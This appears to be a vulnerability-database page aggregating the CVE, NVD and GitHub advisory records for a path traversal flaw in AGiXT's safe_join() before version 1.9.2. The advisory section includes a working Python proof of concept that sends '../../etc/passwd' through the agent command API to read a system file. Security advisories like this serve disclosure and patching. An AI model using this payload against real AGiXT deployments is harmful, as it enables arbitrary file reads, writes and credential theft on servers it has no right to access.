Vulnerability-Lookup

CVE-2026-39981 (GCVE-0-2026-39981)

Vulnerability from cvelistv5 – Published: 2026-04-09 17:01 – Updated: 2026-04-13 20:10

Title

AGiXT has a Path Traversal in safe_join()

Summary

AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/Josh-XT/AGiXT/security/advisor…	x_refsource_CONFIRM
	https://github.com/Josh-XT/AGiXT/commit/2079ea5a8…	x_refsource_MISC
	https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	Josh-XT	AGiXT	Affected: < 1.9.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-39981",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-13T20:10:01.620594Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-13T20:10:13.881Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AGiXT",
          "vendor": "Josh-XT",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.9.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-09T17:01:27.069Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
        },
        {
          "name": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
        },
        {
          "name": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
        }
      ],
      "source": {
        "advisory": "GHSA-5gfj-64gh-mgmw",
        "discovery": "UNKNOWN"
      },
      "title": "AGiXT has a Path Traversal in safe_join()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-39981",
    "datePublished": "2026-04-09T17:01:27.069Z",
    "dateReserved": "2026-04-08T00:01:47.628Z",
    "dateUpdated": "2026-04-13T20:10:13.881Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-39981",
      "date": "2026-04-27",
      "epss": "0.00539",
      "percentile": "0.67639"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-39981\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-09T18:17:02.350\",\"lastModified\":\"2026-04-13T15:02:27.760\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"references\":[{\"url\":\"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-39981\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-13T20:10:01.620594Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-13T20:10:09.959Z\"}}], \"cna\": {\"title\": \"AGiXT has a Path Traversal in safe_join()\", \"source\": {\"advisory\": \"GHSA-5gfj-64gh-mgmw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"Josh-XT\", \"product\": \"AGiXT\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 1.9.2\"}]}], \"references\": [{\"url\": \"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\", \"name\": \"https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\", \"name\": \"https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\", \"name\": \"https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-09T17:01:27.069Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-39981\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-13T20:10:13.881Z\", \"dateReserved\": \"2026-04-08T00:01:47.628Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-09T17:01:27.069Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-39981

Vulnerability from fkie_nvd - Published: 2026-04-09 18:17 - Updated: 2026-04-13 15:02

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f
	security-advisories@github.com	https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2
	security-advisories@github.com	https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2."
    }
  ],
  "id": "CVE-2026-39981",
  "lastModified": "2026-04-13T15:02:27.760",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-09T18:17:02.350",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-5GFJ-64GH-MGMW

Vulnerability from github – Published: 2026-04-08 20:02 – Updated: 2026-04-09 19:06

Summary

AGiXT Vulnerable to Path Traversal in safe_join()

Details

Summary

The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.

Details

agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)

# source
command_args = command.command_args

# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)

# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))

PoC

# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1

import requests

BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"

headers = {"Authorization": f"Bearer {TOKEN}"}

payload = {
    "command_name": "read_file",
    "command_args": {
        "filename": "../../etc/passwd"
    }
}

r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...

Impact

Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "agixt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T20:02:01Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.\n\n### Details\n`agixt/endpoints/Extension.py:165` (source) -\u003e `agixt/XT.py:1035` (hop) -\u003e `agixt/extensions/essential_abilities.py:436` (sink)\n\n```python\n# source\ncommand_args = command.command_args\n\n# hop\nresponse = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)\n\n# sink\nnew_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(\"/\")))\n```\n### PoC\n \n```python\n# tested on: agixt\u003c=1.9.1\n# install: pip install agixt==1.9.1\n \nimport requests\n \nBASE = \"http://localhost:7437\"\nTOKEN = \"\u003cyour_api_key\u003e\"\n \nheaders = {\"Authorization\": f\"Bearer {TOKEN}\"}\n \npayload = {\n    \"command_name\": \"read_file\",\n    \"command_args\": {\n        \"filename\": \"../../etc/passwd\"\n    }\n}\n \nr = requests.post(f\"{BASE}/api/agent/MyAgent/command\", json=payload, headers=headers)\nprint(r.text)\n# expected output: root:x:0:0:root:/root:/bin/bash ...\n```\n \n### Impact\n \nAuthenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.",
  "id": "GHSA-5gfj-64gh-mgmw",
  "modified": "2026-04-09T19:06:04Z",
  "published": "2026-04-08T20:02:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/security/advisories/GHSA-5gfj-64gh-mgmw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/commit/2079ea5a88fa671a921bf0b5eba887a5a1b73d5f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Josh-XT/AGiXT"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Josh-XT/AGiXT/releases/tag/v1.9.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AGiXT Vulnerable to Path Traversal in safe_join()"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39981 (GCVE-0-2026-39981)

FKIE_CVE-2026-39981

GHSA-5GFJ-64GH-MGMW

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature